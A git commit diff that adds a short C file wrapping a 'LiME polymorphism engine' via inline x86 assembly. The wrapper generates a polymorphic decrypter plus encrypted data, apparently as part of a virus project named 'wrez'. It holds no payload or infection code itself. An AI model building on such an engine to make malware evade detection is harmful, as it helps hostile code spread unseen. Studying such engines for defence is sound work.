initial

1 files changed, 43 insertions, 0 deletions

diff --git a/other/wrez/lime-interface.c b/other/wrez/lime-interface.c
new file mode 100644
index 0000000..c40b416
--- /dev/null
+++ b/other/wrez/lime-interface.c
@@ -0,0 +1,43 @@
+/* interface code for the LiME polymorphism engine
+ */
+
+#include "lime-interface.h"
+
+
+/* lime_generate
+ *
+ * generate a new polymorph code from source data at 'source', with a length
+ * of 'source_len' bytes. the decrypter and encrypted data will be put at
+ * 'dest', without any length check (expect no more than 4096 bytes for the
+ * decrypter, so 4096 + source_len will do). 'delta' is the virtual address
+ * the decryptor will be placed, its the virutal address of dest[0].
+ * `rnd' is a random seed.
+ *
+ * return the number of bytes put at 'dest'
+ */
+
+inline unsigned int
+lime_generate (unsigned char *source, unsigned int source_len,
+        unsigned char *dest, unsigned long int delta, unsigned int rnd)
+{
+        unsigned int    rlen;
+
+        /* FIXME: eax is not random parameter anymore, but does not hurt */
+        __asm__ __volatile__ ("
+                pushl %%ebp
+                movl 0x14(%%ebp), %%ebp
+                pushf
+                pusha
+                call lime
+                movl %%edx, 0x14(%%esp)
+                popa
+                popf
+                popl %%ebp\n\t"
+                : "=d" (rlen)
+                : "a" (rnd), "b" ((unsigned int) dest),
+                        "c" ((unsigned int) source), "d" (source_len));
+
+        return (rlen);
+}
+
+